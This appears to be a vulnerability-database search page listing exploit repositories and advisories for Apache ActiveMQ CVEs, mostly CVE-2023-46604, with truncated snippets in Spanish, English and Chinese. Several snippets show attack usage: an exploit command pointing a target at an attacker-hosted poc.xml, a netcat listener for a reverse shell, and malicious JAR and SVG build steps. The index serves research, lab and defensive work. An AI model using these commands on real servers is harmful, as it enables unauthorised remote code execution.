Lucene search
+L

980 matches found

Kitploit
Kitploit
added 2026/09/24 10:23 a.m.17 views

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Referencia del proyecto Este proyecto es una versión python del exp, reescrita a partir del exp del proyecto https://github.com/X1r0z/ActiveMQ-RCE. Uso root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 El parámetro -p tiene como valor predetermina...

10CVSS7.9AI score0.99891EPSS
SaveExploits33References1
Kitploit
Kitploit
added 2026/09/24 9:53 a.m.16 views

apache-activemq-rce-research

Apache ActiveMQ Classic — Investigación de RCE Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML CVE-2026-34197 y su evasión del parche CVE-2026-42588, además de una auditoría completa de...

5.9AI score0.00656EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/24 9:52 a.m.11 views

ActiveMQ_CVE-2015-5254

ActiveMQ反序列化(CVE-2015-5254) 漏洞描述:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本:Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本: http://IP:8161 0x02 确定61616端口开放: nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload: java...

9.8CVSS7.8AI score0.38191EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/24 8:35 a.m.12 views

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudo-Shell Este script aprovecha CVE-2023046604 Apache ActiveMQ para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire. Descripción CVE-2023-46604 es una vulnerabilidad de...

10CVSS8.1AI score0.99891EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/24 4:24 a.m.7 views

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ Este exploit se basa en el trabajo fundacional disponible en https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Hemos desarrollado más a fondo la técnica para lograr una reverse shell utilizando Metasploit Framework...

10CVSS8AI score0.99891EPSS
SaveExploits33References3
Kitploit
Kitploit
added 2026/09/24 3:55 a.m.11 views

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerability A deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16. Setup Change the Values inside the...

10CVSS7.9AI score0.99891EPSS
SaveExploits33
Nuclei
Nuclei
added 2026/09/24 2:06 a.m.34 views

Apache ActiveMQ 6.x < 6.1.2 - Broken Access Control

Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication. id: CVE-2024-32114 info: name: Apache ActiveMQ 6.x 6.1....

8.8CVSS7.8AI score0.07148EPSS
SaveExploits1References4
Kitploit
Kitploit
added 2026/09/24 12:43 a.m.6 views

CVE-2024-21683-RCE

CVE-2024-21683-RCE Créditos https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Uso root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

8.8CVSS7.9AI score0.88267EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/23 5:47 p.m.12 views

CVE-2016-3088

CVE-2016-3088 Exploit de ejecución remota de código de Apache ActiveMQ Descripción La aplicación web Fileserver en Apache ActiveMQ 5.x anterior a 5.14.0 permite a atacantes remotos subir y ejecutar archivos arbitrarios mediante una petición HTTP PUT seguida de una petición HTTP MOVE. Autor...

9.8CVSS8.4AI score0.98518EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/09/23 4:08 p.m.6 views

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-para-Apache-ActiveMQ PoC exploit para CVE-2025-27533 , una vulnerabilidad de Denegación de Servicio DoS en Apache ActiveMQ. Esta herramienta envía paquetes OpenWire maliciosos para agotar la memoria heap de la JVM del servidor objetivo, y potencialmente provocar la caída de...

7.5CVSS7.2AI score0.0866EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/23 3:18 p.m.9 views

CVE-2016-3088

Apache ActiveMQ PUT RCE getshell con un clic uso:python3 CVE-2016-3088.py -u https://tartget.com/...

9.8CVSS8.2AI score0.98518EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/09/23 1:35 p.m.10 views

CVE-2022-39197

CVE-2022-39197 RCE POC Uso Preparar el Payload 1. Edita Line 19 con tu payload en EvilJar/src/main/java/Exploit.java 2. Construye usando el jar mvn clean compile assembly:single 3. Mueve EvilJar-1.0-jar-with-dependencies.jar desde EvilJar/target/ a la carpeta serve/ 4. Edita serve\evil.svg y...

6.1CVSS7.5AI score0.46446EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/23 12:35 p.m.14 views

CVE-Lab

Laboratorio CVE-2023-46604 Este laboratorio guía sobre la explotación de vulnerabilidades de CVE-2023-46604 Agradecimientos Apache ActiveMQ CVE-2023-46604 Entorno Este laboratorio requiere la instalación de 2 máquinas virtuales. Una máquina Kali Linux versión 2023.4 y una máquina Ubuntu versión...

10CVSS7.9AI score0.99891EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/23 9:06 a.m.12 views

CVE-2023-46604

CVE-2023-46604 Este repositorio contiene un script de explotación y un archivo XML de Prueba de Concepto PoC para la vulnerabilidad CVE-2023-46604 que afecta a Apache ActiveMQ. La vulnerabilidad permite la ejecución remota de código debido a prácticas inseguras de deserialización en el protocolo...

10CVSS7.8AI score0.99891EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/22 6:16 p.m.12 views

CVE-2023-46604-RCE

CVE-2023-46604-RCE Implementación en Python de la ejecución remota de código no autenticada en Apache ActiveMQ Configuración y Explotación nc -lvnp 4444 - Iniciar listener python3 -m http.server 8080 - Servir poc.xml que contiene tu payload python3 CVE-2023-46604-RCE.py -i -p -u...

10CVSS7.8AI score0.99891EPSS
SaveExploits33
RedHat Linux
RedHat Linux
added 2026/09/22 1:04 p.m.4 views

artemis-server: artemis-server: Pre-auth topology disclosure via CORE SUBSCRIBE_TOPOLOGY_V2 on channel0

A missing authentication vulnerability was found in Apache ActiveMQ Artemis. The SUBSCRIBETOPOLOGYV2 handler in CoreProtocolManager.LocalChannelHandler.handlePacket processes topology subscription requests on channel0 with zero authentication -- no call to getSecurityStore, no credential...

5.8AI score0.00804EPSS
SaveExploits0References4
RedHat Linux
RedHat Linux
added 2026/09/22 1:04 p.m.4 views

artemis-server: artemis-server: Pre-auth topology disclosure via CORE SUBSCRIBE_TOPOLOGY_V2 on channel0

A missing authentication vulnerability was found in Apache ActiveMQ Artemis. The SUBSCRIBETOPOLOGYV2 handler in CoreProtocolManager.LocalChannelHandler.handlePacket processes topology subscription requests on channel0 with zero authentication -- no call to getSecurityStore, no credential...

5.8AI score0.00804EPSS
SaveExploits0References4
RedHat Linux
RedHat Linux
added 2026/09/22 1:03 p.m.3 views

artemis-server: artemis-server: Pre-auth topology disclosure via CORE SUBSCRIBE_TOPOLOGY_V2 on channel0

A missing authentication vulnerability was found in Apache ActiveMQ Artemis. The SUBSCRIBETOPOLOGYV2 handler in CoreProtocolManager.LocalChannelHandler.handlePacket processes topology subscription requests on channel0 with zero authentication -- no call to getSecurityStore, no credential...

5.8AI score0.00804EPSS
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/22 12:12 p.m.14 views

activemq-ids-ips-lab

Laboratorio IDS/IPS - Protegiendo Apache ActiveMQ contra ataques RCE Este proyecto evalúa cómo los mecanismos IDS e IPS pueden detectar y prevenir la explotación de la vulnerabilidad CVE-2023-46604 de Apache ActiveMQ en un entorno de laboratorio controlado. Resumen del proyecto El laboratorio fue...

10CVSS7.8AI score0.99891EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/22 11:58 a.m.14 views

CVE-2023-46604

CVE-2023-46604 By Ruben Fobe & Klaas Stessens Intro WARNING This project is intended for educational and lab purposes only. Only use these techniques in environments you own or are authorized to test. This lab will simulate the exploitation of CVE-2023-46604, by using a Kali Linux VM attacker and...

10CVSS7.7AI score0.99891EPSS
SaveExploits33
Rows per page
Query Builder